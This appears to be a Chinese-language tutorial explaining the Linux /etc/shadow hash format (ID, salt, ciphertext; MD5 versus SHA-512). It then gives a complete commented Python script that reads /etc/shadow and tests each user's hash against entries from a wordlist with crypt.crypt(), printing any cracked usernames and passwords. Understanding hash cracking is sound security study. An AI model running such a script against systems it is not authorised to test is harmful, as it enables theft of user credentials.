由于MD5加密已经发展了很多年,现在市面上已经积累了大量的MD5数据,这样,MD5的安全性也就受到了威胁,所以,从centos6.x版本开始,系统密码开始采用SHA-512加密,与MD5加密相比,SHA-512加密后长度更长,也就意味着SHA-512相比MD5更加安全.
密码加密原理
在我们进行密码破解前,我们首先需要了解linux系统密码加密的原理:密文由3部分组成,以”$”分隔,第一部分为ID,第二部分为盐值,第三部分为加密密文
什么是ID?
ID用来表示加密的方法.
如下图,
1表示加密方法使用MD5,
6表示加密方法使用SHA-512
密文示例:
$6$D0xsORq3b7GGsbYv$7L8myKFcJf1FqnvtzD.Zcbx9PeHnwGH1YJm/xDeEKmABPIxzUC7mQmEiIEHoHypXeJ969Tfp4c47WQgjkT0YH0
$id$salt$encrypted
采用方法 盐值 加密密文
——————————————
ID 加密方法
1 MD5
5 SHA-256
6 SHA-512
——————————————
什么是盐值(salt)?
盐值就是使用随机字符码混合密码加密算法所产生的密码,作用就是即使是同一个密码,使用同一种加密方式,所产生的密文值也不同
如上面提到的密文示例:
$6$D0xsORq3b7GGsbYv #这一段就是盐值,在加密的时候连同前面的ID一起加密
什么是密文?
这个我就不多介绍了,同上面的密文示例
7L8myKFcJf1FqnvtzD.Zcbx9PeHnwGH1YJm/xDeEKmABPIxzUC7mQmEiIEHoHypXeJ969Tfp4c47WQgjkT0YH0 #这一段就是密文了
了解了原理,我们就可以使用工具来进行密码的暴力破解了
这里采用是利用python进行破解.
需要用到python下的 crypt 这个库,这个库下的.crypt方法可以根据猜想的密码原文和盐值来生成加密后的完整密文。
简单的讲一下思路:
1.获取到盐值
2.将获取的盐值和猜想的密码通过crypt.crypt()加密后生成的密文与系统中存储的密文进行对比,如果密文相同,则输出对应的用户和密码
环境准备:
1.python
2./root/Desktop/wordlist.TXT 存放着我们的密码字典
3./etc/shadow 存放着系统的密码
附上详细代码和注释,有不明的白的可以留言。
crypt模块
crypt模块(只适用于Unix)实现了单向的DES加密,Unix系统使用这个加密算法来储存密码。python标准库中自带有crypt库。要计算一个加密的UNIX口令hash,只需要调用函数crypt.crypt(),并将口令和salt(盐)传递给它。该函数会以字符串形式返回hash。
#!/usr/bin/env python #指定这是一个python文件,使用这个解释器执行
#-*- coding:utf-8 -*- #设定编码格式,防止报错
import crypt #调用crypt这个库
user_passfile = "/etc/shadow" #获取系统密码路径
zidian = "/root/Desktop/wordlist.TXT" #获取字典路径
#提取系统中的用户名和密文
def get_pass(user_passfile):
used = {} #定义一个空字典
f=open(user_passfile,"r") #读取系统密码文件
userline = f.readlines() #将该文件转换为列表格式
f.close() #关闭文件
for i in userline: #遍历列表里的内容
if len(i.split(":")[1]) > 3: #以":"分割,取第二个元素的长度,也就是完整密文值的长度,如果大于3,我们认定它有密码,把它取出来
used[i.split(":")[0]]=i.split(":")[1] #我们将取出的密文给了相应的用户,这里的used[i.split(":")[0]]是字典的key,也就是系统中的用户名,后面的i.split(":")[1]是用户名后的加密密文
return used #返回这个字典
#提取我们密码字典里的内容
def look_d(zidian):
f = open(zidian,'r') #读取字典文件内容
mwlist = f.readlines() #将读取的内容转换为列表
f.close() #关闭文件
return mwlist #返回这个列表
#根据密文是否相同判断出对应的用户和密码
def main(user_passfile,zidian):
used = get_pass(user_passfile) #调用自定义函数get_pass
mingwen = look_d(zidian) #调用自定义函数look_d
for user in used:
passwd = used[user] #一次遍历每个用户的密文
salt = "$6$"+passwd.split("$")[2] #获取盐值
for passwdmw in mingwen: #遍历系统中的每个完整密文
if passwd == crypt.crypt(passwdmw.rstrip(),salt): #如果我们猜想的密文与系统中的密文相同,输入它的用户名和密码
print("userName:%s passWord:%s" %(user,passwdmw.rstrip()))
if __name__ == "__main__":
main(user_passfile,zidian)